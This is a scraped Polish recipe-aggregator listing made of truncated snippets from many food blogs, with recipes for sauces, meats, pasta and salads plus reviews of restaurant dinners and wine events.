przekąską był gravlax z sałatką ziemniaczaną i emulsją kaparową. Bardzo smakowała mi sałatka ziemniaczana z nutą chrzanową. Całość sympatycznie skomponowana. Pierwszym daniem głównym był smażony pstrąg ze szpinakiem i sosem szczypiorkowym. Kolejne danie ładnie skomponowane i z bardzo dobrym pstrągiem. No i ten szpinak... mam słabość do dobrze przygotowanego szpinaku. Drugim daniem głównym była kaczka z młodymi warzywami i pianą

królestwo garów
LUXITALYWINE w Piwnicy pod Harendą 146

również wspaniałe rzemieślnicze makarony neapolitańskiego producenta Le Gemme  del Vesuvio. Produkowane z najwyższej jakości semoliny pszenicy durum. Ich kształty i smak to już włoska specjalność. Ja zrezygnowałam z sosów sam Parmigiano Reggiano wystarczył. Do tego oczywiście kieliszek wina. Połączenie idealne. Bardzo ciekawym nieznanym mi do tej pory produktem okazały się sycylijskie galaretki produkowane na bazie win Nero d’Avola

królestwo garów
Spaghetti ze świeżą botwinką w sosie z bryndzy ze świeżymi borówkami 131

plasterki. Na oliwie podsmażyć botwinkę, dodać czosnek, wlać śmietanę, dodać pokruszoną bryndzę. Redukować przez ok. 2 minuty. Dodać sól i pieprz do smaku. Ugotować makaron al dente. Połączyć z sosem, posypać świeżymi borówkami. zastawa

królestwo garów
Tagliatelle fresche z niedzwiedzim czosnkiem, pomidorkami malinowymi i kalarepka 116

drobną kostkę, podsmażyć na maśle. Następnie dodać pokrojone w kostkę pomidory, wyciśnięty ząbek czosnku, dusić 10 minut. Doprawić sola i pieprzem. Ugotować makaron al dente. Makaron połączyć z sosem i posypać kolendrą. zastawa

królestwo garów
Sałatka z grillowanych buraków. 152

być miękkie ale nie rozgotowane. Sok z cytryny wymieszać z miodem i 3 łyżkami oliwy. Doprawić solą. Ciepłe buraki obrać ze skórki i pokroić w cienkie plasterki. Wymieszać z sosem. Odstawić do ostygnięcia. Podawać do mięs, na przykład do burgera.   zastawa

królestwo garów
Kolacja Trzy Znaki Smaku w Janowcu 139

dużo dobrego o nim słyszałam. I już wiem, plotki okazały się prawdą. Tomek Trąbski przygotował wspaniałe danie, idealna pierś z gołębia grzywacza a do niego soczewica z kurkami i sos z wiśni nadwiślanki i suski sechlońskiej.... Wszystkie podane nam dania był wspaniałe, ale to najbardziej zapadło mi w pamięć. Kolejnym daniem była polska jagnięcina z jabłkiem i miętą w wykonaniu

królestwo garów
Pierś gęsi z grilla 135

zagotować z winem i przyprawami. Przetrzeć przez sito. Następnie odparować przez gotowanie. Doprawić miodem, cukrem i solą. Zdjąć z ognia i wymieszać z zimnym masłem. Pierś pokroić plastry, polać sosem. zastawa

królestwo garów
Pomidorowa ze świeżych pomidorów 115

osuszyć, przekroić na pół. Ułożyć w naczyniu do zapiekania, przecięciem do góry. Wstawić do piekarnika nagrzanego do 180 stopni na 50 minut. Zdjąć z pomidorów skórkę. Pomidory razem z sosem, który się wytworzył przetrzeć przez sito. Włożyć do garnka, wlać bulion i zagotować, doprawić szczyptą cukru i ewentualnie solą. Podawać z ryżem, makaronem... ja preferuję z ryżem. Można dodać śmietanę

królestwo garów
„ SMAKI SĄDECCZYZNY ” Sądecki Bartnik 138

smaku mizeria z miodem, zamiast cukru... świetny pomysł. Mam tylko jedne zastrzeżenia do dania – nie lubię takiej prezentacji, ale może się coś zmieni... :)   - Sernik z sera koziego z sosem ze świeżych malin i miodu – podobno bardzo smaczny deser, ja nie lubię koziny. Jeszcze w wersji wytrawnej „przechodzi”, natomiast na słodko, to za duże wyzwanie. Ale nie narzekam, gdyż przede

królestwo garów
Figi zapiekane z karmelizowaną papryką 168

włożyć łyżeczkę karmelizowanej papryki, ułożyć orzechy laskowe i przykryć serem. Ustawić na blasze wyłożonej papierem do pieczenia. Wstawić do pieca nagrzanego do 180 stopni na 20 minut. Podać polane sosem wytworzonym podczas zapiekania. * ser twardy, dojrzewający, z mleka owczego, pochodzący z równin La Manchy, ** papryka karmelizowana w słoiczku, firma Ibsa z Hiszpanii   zastawa

królestwo garów
V Ogólnopolski Salon Win i Alkoholi M&P 151

rubinowej barwie i aromatycznym bukiecie pełnym dojrzałych owoców, suszonych śliwek, pieprzu i korzennych przypraw. Wino o mocnej, bogatej strukturze, jedwabistych taninach i eleganckim finiszu. Dobrze komponuje się z mięsnymi sosami, grillowanym mięsem i włoskimi wędlinami. De Stefani Kreda Refosco zdecydowanie najsmaczniejsze wino od tego producenta (choć wszystkie są zdecydowanie godne polecenia). Wino o głębokiej, rubinowej barwie, intensywnym aromacie dojrzałych owoców

królestwo garów
Tydzień Kuchni Chilijskiej w warszawskim Hotelu Bristol 137

Mote: gotowane ziarna pszenicy 2 - Merquén: tradycyjna przyprawa pochodząca z Araukanii - wędzona ostra czerwona papryka 3 - Sopaipillas: okrągłe smażone placki na bazie gotowanej dyni i mąki pszennej 4 - Pebre: sos z pomidorów, cebuli, papryki i kolendry 5 - Curanto: danie pochodzące z południa Chile (przede wszystkim z rejonu Chiloe) – owoce morza, mięso, ziemniaki, kiełbasy i warzywa duszone tradycyjnie w dole przygotowanym

królestwo garów
Polewka jurajska na poziomie 511 185

drobną kostkę, wrzucić do rozgrzanego garnka, smażyć na złoto. Dolać maślankę, śmietanę. Zagotować. Doprawić solą i pieprzem. Zrobić zaklepkę (mąka rozprowadzona w wodzie, mleku lub śmietanie – służy do zagęszczenia sosu lub zupy), powoli wlewać do zupy mieszając, tak aby nie porobiły się grudki. Z iemniaki ugotować, odcedzić, odparować, utłuc z dodatkiem masła. Na talerzu ułożyć ziemniaki, wlać zupę, podawać. Polewka

królestwo garów
gęsia szyja nadziewana – gęsi pipek 219

gęsich szyjek, zaszyć z obu stron. Ułożyć w gęsiarce, wlać 300 ml bulionu ( tego, który gotowaliśmy na szyjkach gęsich), wino i dusić pod przykryciem około godziny. Podawać z sosem z duszenia. Można podać z baką ziemniaczaną. Ja podałam z chlebem żytnim Wasa*. Gęsi pipek potrawa z nadziewanej skóry z gęsiej szyi. Farsz można przygotować z ziemniaków, gęsich podrobów, z mięsa

królestwo garów
Szyjki gęsie faszerowane ziemniakami – gęsie pipki 232

rumiano ze wszystkich stron. Przełożyć na blachę wysmarowaną tłuszczem, podlać niewielką ilością wody i wstawić do piekarnika nagrzanego do 180 stopni na około godzinę. Co jakiś czas polewać wytworzonym sosem. Gęsi pipek potrawa z nadziewanej skóry z gęsiej szyi. Farsz można przygotować z ziemniaków, gęsich podrobów, z mięsa wołowego, drobiowego lub cielęcego. Gęsi pipek to również gulasz z gęsich żołądków

królestwo garów
Indyk pieczony 170

osiągnie 71 stopni. Wyłączyć piekarnik, indyka zostawić aż temperatura wewnątrz indyka osiągnie 75 stopni. Wyjąć go i odstawić na około 10 minut aby odpoczął. W trakcie pieczenia polewać wytworzonym sosem. Polecam stosowanie termometru do pieczenia. Jest to naprawdę wygodniejsze i zawsze mamy pewność, że mięso zostało upieczone. Wielokrotnie przekonałam się, że przeliczniki -waga indyka na godziny pieczenia, nie sprawdzają się

królestwo garów
Ogony wołowe 162

przesmażyć. Wlać wino, dodać przyprawy, wlać wodę (tyle aby mięso było tylko przykryte). Gotować na małym ogniu pod przykryciem aż mięso będzie miękkie. Około 3 godzin. Mięso wyjąć a sos przecedzić. Ogony podawać z kości lub bez. To już zależy od tego czy lubimy troszkę pobawić się ogryzając kości :) Podałam z pęczakiem.   zastawa

królestwo garów
Nogi kaczki w pomarańczach 122

pomiędzy błon cząstki). Włożyć do garnka z kaczką. Dusić pod przykryciem do miękkości, w razie potrzeby dolać trochę wody. Gdy mięso będzie już miękkie, wyjąć i trzymać w cieple. Sos zmiksować, doprawić do smaku miodem i solą.   zastawa

królestwo garów
Śledzie solone smażone 168

łyżki masła, 6 łyżek oleju Płaty śledzi wymoczyć, osuszyć. Jajko rozbełtać. Śledzie obtaczać w roztrzepanym jajku, następnie w bułce tartej. Smażyć na rumiano na maśle z olejem. Podałam z sosem z musztardy z majonezem (wymieszać musztardę z majonezem - do smaku).   zastawa

królestwo garów
Zimowe menu w Le Victoria Brasserie Moderne 156

zielona herbata Oprócz prezentowanych dań, w menu znajdziemy: lekko wędzonego łososia bałtyckiego w stylu gravad lax z ikrą z łososia, filet z sandacza z risotto z pęczaku, małżami i sosem grzybowym,  filet jagnięcy confit z purée z topinamburu i jarmużem, pierś z kurczaka z rzepą i grzybami, wolno gotowane policzki wieprzowe z zimowymi warzywami oraz purée z chrzanem, kurczaka

królestwo garów
Surówka z selera z jabłkiem 199

około 300 g), sok z jednej cytryny, 2 łyżki miodu lipowego, Selera i jabłka obrać, zetrzeć na tarce o niewielkich (średnich) otworach. Sok z cytryny wymieszać z miodem. Wymieszać sos z selerem i jabłkami. Odstawić na 20 minut. Można dodać rodzynki lub suszoną żurawinę.   zastawa

królestwo garów
Olivier Nasti i jego jajko 139

jeden ze swoich sposobów na jajko. Jajko gotowane w 64 stopniach.  Żółtko wyjęte,  przykryte musem cytrynowym,  następnie ubitym i upieczonym białkiem i  podane z sosem z langustynki. Żółtko w tym daniu jest na pograniczu twardości, jego konsystencja jest zaskakująca i bardzo, bardzo smaczna, co sprawdziłam osobiście :) zdjęcia Where's The Food , Victoria i królestwo garów

królestwo garów
Pyzy drożdżowe, kluchy na łachu, buchty, pampuchy 131

wyrośniętego ciasta uformować niewielkie kule (wielkości mandarynki?), układać je na blacie oprószanym mąką. Przykryć ściereczką i odstawić do wyrośnięcia. Gotować na parze pod przykryciem 15 minut. Podawać z sosami. Według oryginału – do rondla wlać wodę do 1/3 jego wysokości. Rondel obwiązać szmatką (muślinem lub płótnem o luźnym splocie) i przykryć miską dopasowaną tak, aby powstająca w czasie gotowania para

królestwo garów
Kurczak kukurydziany pieczony z szałwią 156

masła, na nim kurczaka, przykryć masłem, resztą szałwii i przykryć plasterkami boczku. Wstawić do piekarnika nagrzanego do 180 stopni i piec około godziny. W trakcie pieczenia, polać kurczaka wytworzonym sosem. * oczywiście może być zwykły kurczak   zastawa

królestwo garów
Mozzarella w szynce serrano, z pomidorami suszonymi i kaparami zapiekana 148

szynkę. Spiąć wykałaczką. Ułożyć w naczyniu do zapiekania. Wstawić do piekarnika nagrzanego do 180 stopni na 15 minut. Zapieczoną mozzarellę układać na talerzu, udekorować smażoną szynką i smażonymi kaparami. Sos, który wytworzy się podczas zapiekania wylać.  * najlepiej z mleka bawolego   zastawa

królestwo garów
Kuropatwa pieczona 180

jeden plaster słoniny. Kuropatwę ułożyć w naczyniu do zapiekania, przykryć dwom plasterkami słoniny i wstawić do piekarnika nagrzanego do 180 stopni na 45 - 50 minut. Podczas pieczenia polewać wytworzonym sosem. Jest to danie raczej dla jednej osoby.... ;)   zastawa

królestwo garów
Potrawka z zająca 146

podsmażyć. Dodać mięso, które obsmażyć ze wszystkich stron na rumiano. Wsypać paprykę, mąkę, wymieszać. Wlać wino, dokładnie wymieszać, dodać listek laurowy. Dusić do miękkości pod przykryciem. W przypadku gdy sos za bardzo odparuje dolać trochę bulionu lub wody. Podałam z kluskami kładzionymi i mizerią. zastawa

królestwo garów
Chile to nie tylko wino 163

szalotka, kolendra (nie za bardzo rozdrobiona) oraz łosoś. Marynować 6 – 12 godzin (co 2 godziny mieszając). Danie proste i dobre. Przegrzebki zapiekane w czosnkowej oliwie z oliwek z zielonym sosem pebre . Muszle Św. Jakuba otworzyć, oczyścić, wyjąć, wykroić białe mięso. Marynata: oliwa extra vergine, oliwa czosnkowa, papryka wędzona. Do tego wino Trisquel, Sauvignon Blanc 2012 – Aresti. Idealne do ceviche. Przyjemna

królestwo garów
Wiosna w Tamka 43 158

stole pojawiło pieczywo własnego wypieku z masłem domowym, które pełni tu rolę czekadełka. Wracając do kaszanki... W skrócie można by powiedzieć -galaretka z nóżek z pęczakiem...do tego sos z czerwonego wina z rodzynkami, świeżo tarty chrzan, podwędzane migdały. Biała kaszanka, espuma ziemniaczana, rodzynki Proste a jakie smaczne i ładnie podane... Druga przystawką była panna cotta z... z czosnku niedźwiedziego

królestwo garów
Wiosna w Le Victoria Brasserie Moderne 157

Macieja Majewskiego. A w niej żółtko w tempurze – wspaniałe, idealny tuńczyk, młody bób i groszek... 2. PROSIAK, SELER, DYMKA – schab z mlecznego prosiaka, puree z selera, smażona dymka, bób, sos z tymiankiem. Schab delikatny, nie przegotowany, w środku delikatnie różowy. Dobrze skomponowane danie. 3. BISZKOPT, CYTRYNA, BEZA – cytrynowy, odświeżający deser. Wszystkie dania eleganckie, lekkie, dopracowane i co najważniejsze smaczne. Jeżeli

królestwo garów
Prosto z Targu w La Rotisserie 161

kolendra i pieprz tasmański - polędwica gotowana w niskiej temperaturze, dzięki czemu zachowuje soczystość, jest bardzo delikatna. Do niej tagliatelle z zielonych surowych szparagów, puree z marchewki z imbirem i sos z pieprzu tasmańskiego, pesto z lubczyku, ziemia z pumpernikla oraz biała marchewka. Dodatki świetnie zbudowały smak dania i współgrały z „mlecznym” smakiem cielęciny, „podkręcając” ją. Panna cotta z rabarbarem, galaretka

królestwo garów
Gołąbki z kapusty pekińskiej z pieczarkami i kaszą 183

Dzisiaj przepis na tradycyjne gołąbki w wersji wegetariańskiej, z dodatkiem bardzo zdrowej kapusty pekińskiej, istotą tego przepisu jest bardzo duża ilość przypraw, które wydobywają niesamowity smak farszu i sosu pomidorowego.  Składniki: - główka kapusty pekińskiej - pół szklanki kaszy (owsianej lub jaglanej) - 8 pieczarek - kilka suszonych pomidorów - 1 cebula  - karton krojonych pomidorów - przyprawy ( słodka papryka, czosnek, kminek, majeranek, oregano, szczypiorek

zdrowa vege kuchnia
Stek pieprzowy – wyjątkowe steki znane z kuchnii francuskiej 239

przygotowane steki grillować do czasu osiągnięcia pożądanego stopnia wysmażenia steków (aby zobaczyć jak prawidłowo grillować steki skorzystajcie z naszego poradnika klikając tutaj ). Tak przygotowane steki są często podawane z sosem pieprzowym składającym się ze zredukowanego koniaku, śmietany w połączeniu m.in. z takimi składnikami jak: masło, szalotka i musztarda Dijon. Stek pieprzowy – wyjątkowe steki znane z kuchnii francuskiej is a post

naRuszcie
Kurczak tikka masala 205

złoty kolor. Następnie do wysokiego pojemnika dodajemy usmażoną cebulę, pomidory z puszki, pozostałą część mieszanki przypraw i miksujemy blenderem do momentu uzyskania gładkiej masy. Następnie na rozgrzaną patelnię przelewamy sos pomidorowy i smażymy go ok. 5-10 minut. Po tym czasie dodajemy kurczaka i smażymy kolejne 5 minut. Sprawdzamy jego smak i ewentualnie dodajemy soli do smaku. Gotowe danie podajemy

Emcia Pichci
Dorsz z ryżem i warzywami 257

Dorsz jest trudny do usmażenia, ale w tej potrawie nie musimy dbać, aby kawałki ryby były całe i piękne. Ryba ma być usmażona. Dodamy warzywa, sos pomidorowy i ryż a powstanie smaczne danie.     Składniki: -1 kg dorsza -3 cebule -2 marchewki -czerwona papryka -10 dkg ryżu ( ugotować na sypko ) -puszka krojonych pomidorów -sól, pieprz, słodka papryka -pieprz ziołowy

Maminek kulinarny
Stek wołowy 169

plastry ząbki czosnku, dodać masło, smażyć do czasu zrumienienia czosnku. Czosnek zdjąć z patelni i dodać ocet balsamiczny, rozmaryn, odrobinę soli i pieprzu. Na wolnym ogniu redukować płyn, aż sos będzie miał lekko lepką konsystencję (około 2 minuty). Odpoczywający stek położyć na talerz i polać glazurą. Tak przygotowany stek jest średnio wysmażony, z zewnątrz jest przypieczony, zaś w środku

Kuchcik gotuje
Kolorowa tarta z bakłażanem i marchewką 392

smaku 1 papryczka pepperoni oliwa z oliwek Warzywa kroimy w kosteczkę. Na oliwie z oliwek podsmażamy cebulkę, dodajemy pozostałe warzywa, doprawiamy. Dusimy, aż warzywa zmiękną i odparuje nadmiar sosu. Wykładamy na podpieczone ciasto. Pozostałe składniki: 1 duża marchew kilkanaście czarnych oliwek mozzarella Marchew obieramy i przy pomocy obieraczki do warzyw formujemy z marchewki wstążki. Należy je 3 min. pogotować

kuchcikownia
Razowe penne z łososiem i rukolą 369

łyżki wody z makaronu. Mieszamy, aż śmietanka zacznie bulgotać Zdejmujemy garnek z ognia i dorzucamy łososia podzielonego na kawałki oraz rukolę. Doprawiamy solą i pieprzem cytrynowym  ( jeśli sos będzie za gęsty dodajemy więcej wody ). Całość mieszamy. Od razu podajemy, smacznego

Moje Kuchenne Rewelacje
Sałatka z botwinką i awokado. 160

włoskie zgniecione w moździerzu -tarty parmezan Umyte liście sałaty rozrywamy na mniejsze kawałki, mieszamy z botwinką i przepłukujemy w misce z zimną wodą z łyżką oliwy. Dodajemy pozostałe składniki. Sos: -łyżka octu cydrowego lub jabłkowego -szczypta pieprzu i soli -łyżka oliwy Wszystkie składniki mieszamy w jedno i polewamy sałatkę. Smacznego

BaRepas
Fasola w sosie pomidorowym 205

Taką fasolę robię do słoików obojętnie czy jest to maj, sierpień czy grudzień. Polecam serdecznie bo można potem szybko stworzyć przy jej użyciu pyszne danie. Fasola w sosie pomidorowym. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Molee – INDYJSKIE CURRY RYBNE W OSTRYM SOSIE KOKOSOWYM ( z ryżem ) 163

nasiona gorczycy – przesmażamy by wydobyć aromat. Mleko kokosowe mieszamy z sokiem z cytryny, mąką i szczyptą soli, a następnie wlewamy na patelnię i na wolnym ogniu mieszamy aż sos zgęstnieje. Dodajemy pokrojone w grubą kostkę kawałki dorsza, przykrywamy i na wolnym ogniu gotujemy ok.20 minut. Nie mieszamy zbyt często, by nie rozkruszyć ryby. W razie potrzeby doprawiamy do smaku

Ostra na Słodko
Kurczak cacciatore 412

cacciatore to dość znana potrawa kuchni włoskiej, różnie przyrządzana w zależności do regionu Włoch. Najczęściej używa się podzielonego na kawałki kurczaka, ale ja dzisiaj zrobiłam z samych piersi. Do sosu dodaje się pomidory, oliwki, cebule, pieczarki i wino. I powiem wam, że obiad dawno nie był taki pyszny. Czytaj więcej

Bernika - moj kulinarny pamietnik
Pasta jajeczna z tuńczykiem 245

pieprzem do smaku. Wymieszać. Dobrze wymieszać i schłodzić przed podaniem. SMACZNEGO! Uwagi do przepisu: Do pasty można użyć zarówno tuńczyka w kawałkach, jak i rozdrobnionego, w oleju lub w sosie własnym. Z dodatku ogórka kiszonego można zrezygnować. Smak pasty można wzbogacić o drobno posiekany szczypiorek. Źródło przepisu:   Wielkie Żarcie

Gospodyni Miejska
Bazylia 235

wyrazistości potrawą z pomidorów lub z dodatkiem pomidorów, sałatką z ryżem, zapiekanką z kasz i makaronów, potrawą z fasoli, ale przede wszystkim   jest wspaniałym dodatkiem do sosu bolońskiego.   Bazylia nie lubi towarzystwa innych przypraw, poza odrobiną soli lub czosnku, zarówno świeżego, doskonale rozdrobnionego, jak i suszonego. W połączoniu z bazylią tworzą ciekawe,  smakowo-zapachowe kompozycje

Klaudynkowa kuchnia
Aromatyczne pieczarki po tajsku- z mlekiem kokosowym 201

pół i dodać do cebuli, podsmażyć 2-3 minuty i wlać mleko kokosowe. Całość dusić na małym ogniu, pod przykryciem, do miękkości pieczarek (około 15-20 minut). Odkryć, jeżeli sos nie jest odpowiednio gęsty, to należy go odparować przez chwilę. Doprawić solą, pieprzem i papryczką chili oraz posypać świeżą kolendrą. Podawać z ryżem. Smacznego

Kraina Miodem Płynąca
Tarta z gruszkami w sosie jogurtowym 183

Tarta z gruszkami w sosie jogurtowym to pomysł na kruche ciasto z nadzieniem owocowym. Parę miesięcy temu pokazałam Wam przepis na tartę z jabłkami ( klik ), a dzisiaj zachęcam do przygotowania gruszkowej tarty. Idealna dla osób, które dbają o linię. Poniższa tarta z gruszkami najlepiej smakuje w dniu pieczenia.  Składniki na 1 dużą tartę: ciasto   250 g mąki pszennej

Ugotować
Roladki drobiowe z naleśnikiem 356

mięsa mielonego wieprzowo-wołowego 2 cebule 1 ząbek czosnku 1 łyżka bułki tartej 1 łyżka śmietany 18% jajko sól, pieprz  4 słone naleśniki majonez Marynata do mięsa: olej sos sojowy sól pieprz papryka słodka czosnek granulowany Roladki drobiowe z naleśnikiem, to od dziś bezdyskusyjnie mój numer jeden! Najlepsze danie z mięsa kurczaka jakie jadłam. Mięsko z wierzchu jest soczyste

Świat Domowej Kuchni
Zbite się zawinęły, czyli serowe roladki z indyka 210

upiec. Wrzuciłam je do rękawa. Podlałam odrobiną wody i piekłam przez ok. 50 minut w temperaturze 175 - 180 stopni. Po upieczeniu delikatnie usunęłam wykałaczki i przerzuciłam wraz z wypieczonym sosem do małego naczynia żaroodpornego. Rodzince podałam z gotowanym ryżem i leczo produkcji Teściowej. Uwielbiam leczo - niestety mój Mąż nawet go nie lubi. Dlatego sama nigdy nie robię. Chyba potem przez

Kuchnia po mojemu
Grillowane kurze nogi z oliwnej marynaty 203

lubi się przypalać. Z tego względu należy też często przekręcać grillowane kończyny :) Przy niewielkim nakładzie pracy kruche, soczyste, aromatyczne mięsko z rusztu gotowe. Doskonale komponuje się z zieleniną i sosem czosnkowym

Kuchnia po mojemu
Pasta warta tuńczyka, czyli prosty pomysł na kanapki w piątek, świątek i niedzielę ;) 176

taką pastę na kolację. Była pyszna. Przechwyciłam przepis od tamtej pory co jakiś czas urozmaicam przepysznym smarowidłem nasze zwyczajne, kanapkowe kolacje. Składniki: 1 puszka tuńczyka w kawałkach, w sosie własnym 1 mała puszka groszku bardzo drobnego 3-4 średnie ogórki kiszone 1 jajko 1/2 małej cebuli 1 - 2 łyżki majonezu odrobina soli, pieprz  Przygotowanie: Jajko gotujemy na twardo. Tuńczyka

Kuchnia po mojemu
Pieczony pieróg pełnoziarnisty II z mięsnym nadzieniem, czyli ciepła kolacja dla spracowanego Męża 217

posiekałam. Resztę składników starłam na grubej tarce. Podzieliłam wyrośnięte ciasto na 2 części. Wywałkowałam. Posmarowałam pastą pomidorową i wyłożyłam nadzienie. Zalepiłam pierogi.  Znowu wyszły gigantyczne. Jeśli chodzi o sos pomidorowy i czosnkowy to odsyłam do poprzednich pizzowych wpisów , jako że nic się w ich względzie nie zmieniło. Również jeśli chodzi o wyrobienie ciasta i przygotowanie blachy także nie zmieniam

Kuchnia po mojemu
Quesadilla z kurczakiem, czyli pszenna tortilla jako domowa przekąska idealna na ciepło i na zimno 315

kolacja na ciepło. Równie dobrze smakują na ciepło jak i na zimno. Nadzienie można dowolnie komponować z ulubionych (lub akurat dostępnych) składników ;) Tak przyrządzone tortille doskonale smakują z meksykańskim sosem salsa, dipem czosnkowym lub musztardowo - miodowym - w zależności od nadzienia i gustu.  Przepis bierze udział w konkursie POTRAVEL. Szczegóły na stronie http://potravel.pl/2013/09/25/konkurs/

Kuchnia po mojemu
Kluski łyżką kładzione z mąki pełnoziarnistej - idealne do gulaszu, klopsów i mięs duszonych 305

Proste w produkcji kluski łyżką kładzione podpatrzone u mojej Teściowej zagnieździły się na stałe w moim domowym menu. Stanowią doskonałą alternatywę dla pyz, kopytek i innych standardowych dodatków do sosów mięsnych. A jeśli jeszcze przyrządzone zostaną z mąki razowej lub np trzy ziarna - to już w ogóle pełnia zdrowia ;) Składniki w proporcjach "naocznych" (na obiad do syta

Kuchnia po mojemu
Surówka z kapusty pekińskiej w dwóch wariantach. Prosty, szybki i przepyszny dodatek do obiadu 160

pół (wzdłuż) i szatkujemy. Pomidory kroimy w średniej grubości kostkę, a cebulę w kostkę drobniutką. Posypujemy pieprzem i solą. Odstawiamy na 15 - 20 minut do zmięknięcia kapusty. Odlewamy wytworzony sos. Dodajemy majonez. Mieszamy i gotowe. I tu dwie szkoły - w zależności od upodobań - można majonezu dodać od razu - nie czekając. Można też dodać pokrojoną paprykę, wtedy surówka jest bardziej chrupiąca

Kuchnia po mojemu
Makaronowe inspiracje, czyli cannelloni nadziewane kurczakiem zapieczone pod szpinakiem 168

menu było choć trochę świąteczne postanowiłam przygotować coś czego wcześniej nie robiłam - cannelloni. Żeby było jeszcze ciekawiej zdecydowałam się na wydanie odmienne od tego najbardziej znanego - tradycyjnego cannelloni w sosie pomidorowym. Odkąd w moje imieniny Mąż zabrał mnie na przepysznego łososia na szpinaku, chodziło to pyszne zielsko za mną. Pretekst gotowy. Mąż za szpinakiem nie przepada, ale zwabiony formą podania

Kuchnia po mojemu
Ananasowa babeczka chili w parze z z limonkową muffinką kokosową :) Na ostro czy na słodko - oto jest pytanie? 177

Babeczki słodkie wyszły gładkie, kształtne. Babeczki chili to te o nieregularnych kształtach. No i teraz pytanie - które lepsze. Do wyboru, do koloru ;) Mężowi bardziej podpasowały te ostre - szczególnie z sosem czosnkowym . Pewnie dlatego, że wyszły naprawdę pikantne. Mi początkowo też, ale wieczorem po kolacji doceniłam walory tych słodkich. Wyraźna kokosowa słodycz z nutą kwaśnej limonki  i rodzynką gdzieniegdzie... bajka

Kuchnia po mojemu
Placki ziemniaczane koniecznie bez mąki 141

ścieramy na tarce o grubych oczkach, podobnie cebulę. Dodajemy całe jajka. Solimy, pieprzymy do smaku. Dokładnie mieszamy. Smażymy na rozgrzanym oleju. Podajemy z ulubionymi dodatkami: śmietaną, keczupem lub pikantnym sosem - mięsno warzywnym

Kuchnia po mojemu
Kokosanki. Ciasteczka idealne na tłusty czwartek. Pyszny sposób na pozbycie się białek z jaj 162

wylewać niewykorzystane białko z jaj. Jeśli robiliście potrawę, do której przygotowania potrzebne były same żółtka oto idealny przepis na zagospodarowanie pozostałych białek. Ja z tych po siostrzanych świderkach w sosie Carbonara   postanowiłam zrobić coś bajecznie prostego i smacznego - kokosanki. Kiedyś na słodkim blogu Pani Beaty Kuśmierek widziałam przepis na takie białkowo - kokosowe ciasteczka i stąd w ogóle ten pomysł

Kuchnia po mojemu
Zakręcone pizzerki w trzech smakach + szklanka soku. Niebiańsko pyszne śniadanie na słodko lub słono - do wyboru! 169

nich będzie pyszne. Smakują tak samo dobrze na zimno jak i na ciepło, na słodko jak i na słono. To już zależy od upodobań. Szklanka soku 100% oraz domowy sos czosnkowy dopełnią wartość i smak takiego śniadania. Polecam Przepis na to fantastyczne ciasto, z którego można czynić cuda odkryła moja Teściowa na stronie Wielkie Żarcie , gdzie zapraszam po oryginał troszkę

Kuchnia po mojemu
Kaczka na niby, czyli kurczak w pomarańczach pieczony 260

jeszcze nie raz wrócę. Sprawdźcie sami: Składniki (dla 2-3 osób): 2 średnie ćwiartki z kurczaka 1 pomarańcza sól, pieprz świeżo mielony majeranek Przygotowanie: Umyte i osuszone udka skrapiamy sosem sojowym, ciemnym, nacieramy solą i sporą ilością świeżo mielonego pieprzu. Oprószamy solidnie majerankiem. Odstawiamy na noc do lodówki. Ok 1/2 godz. przed pieczeniem wystawiamy z lodówki i obkładamy miąższem

Kuchnia po mojemu
Wołowe hambsongi z grilla. 100% mięsa w mięsie. Pyszny fast food domowy w plenerze - po Mężowsku 259

gatunku mięsa jakim jest wołowina. Składniki (na 8-10 hamburgerów): ok 1 kg wołowiny o zaw. tłuszczu ok 20% (antrykot, rostbef, ładna pręga) 1 średnia cebula czerwona kilka kropli sosu Worchester 1 konkretna łyżka musztardy Dijon 1-2 łyżki zimnej wody sól, pieprz świeżo mielony Przygotowanie: Umyte i osuszone mięso wraz z obraną cebulą mielimy dwukrotnie. Doprawiamy solą, pieprzem

Kuchnia po mojemu
Oszczędnościowe placuszki obiadowe. Mamowa koncepcja na obiad z niczego. Szybko, tanio i z sentymentem 226

sałatą ze śmietaną (też smak dzieciństwa). Młode ziemniaczki również były, ale to zupełnie zbędny i zbyt ciężki dodatek. Warto zastąpić je gotowanym brokułem na przykład lub lekkim i pikantnym sosem warzywnym lub grzybowym czy po prostu ulubioną surówką . Danie to kojarzy mi się z zaradnością mojej Mamy, która zawsze w smaczny sposób wychodzi z kryzysów obiadowych i ma pomysły

Kuchnia po mojemu
Obiad 2 w 1. Delikatne pulpety, mielone indycze w sosie koperkowym. 226

oleju i wrzucamy do garnka z wrzącą wodą (ok 200 - 300 ml). Gotujemy ok 20 minut. Pod koniec gotowania dodajemy siekany koper. Po kilku minutach zaprawiamy odrobiną mąki (jeśli sos nie zgęstniał wystarczająco od samej bułki) i zabielamy łyżką śmietany. Klopsy gotowe. W tym samym czasie i na tym samym tłuszczu smażymy kotlety na rumiano. Trzy obiady z głowy

Kuchnia po mojemu
Cytrynowo - imbirowa polędwica w orientalnym stylu 182

kilka minut z każdej strony wystarczy. W tym samym czasie gotujemy ryż i smażymy na maśle warzywa z dodatkiem czosnku, imbiru i kurkumy. Danie gotowe. Pysznie smakuje z sosem słodko pikantnym chili. Powtórzę raz jeszcze - tak zamarynowana polędwica jest przepyszna. Na wierzchu chrupiąca, a w środku soczysta i miękka. Mniam

Kuchnia po mojemu
Pulpeciki mięsno - brokułowe 202

włożyć klopsiki oraz resztę posiekanego brokuła, gotować około 20 minut pod przykryciem, na małym ogniu. Zaciągnąć zahartowaną śmietaną. W razie potrzeby doprawić do smaku. Można również wyjąć pulpeciki i sos zmiksować blenderem

Z miłości do słodkości
Paprykarz - Karkówka z pieczarkami i papryką 193

Karkówka w delikatnym pomidorowym sosie z dodatkiem pieczarek i papryki. Pyszne, syte i proste danie, świetne z dodatkiem wszelkiej maści kluskami. Wersja łagodna lub pikatna do wyboru, w zależności od preferencji smakowych. Dla jedych danie to jest gulaszem, dla innych będzie paprykarzem lub wieprzowym ragout. Wszystko jedno jak je nazwiecie, zasmakuje każdemu. Obok wieprzowiny na paprykarz można wykorzystać mięso wołowe

Gotuj zdrowo!Guten Appetit!
Śledzie w marynacie 362

śledziami przykrywamy i wkładamy do lodówki przynajmniej na pięć dni. Po tym czasie śledzie są gotowe do spożycia. Takie śledzie można podawać na różne sposoby np. w śmietanie, oleju, sosie musztardowym. Kategoria: Przystawki , Ryby , WIelkanoc

kuchcikownia
Szybka sałatka z ziemniaków i rzodkiewki (136 kcal) 386

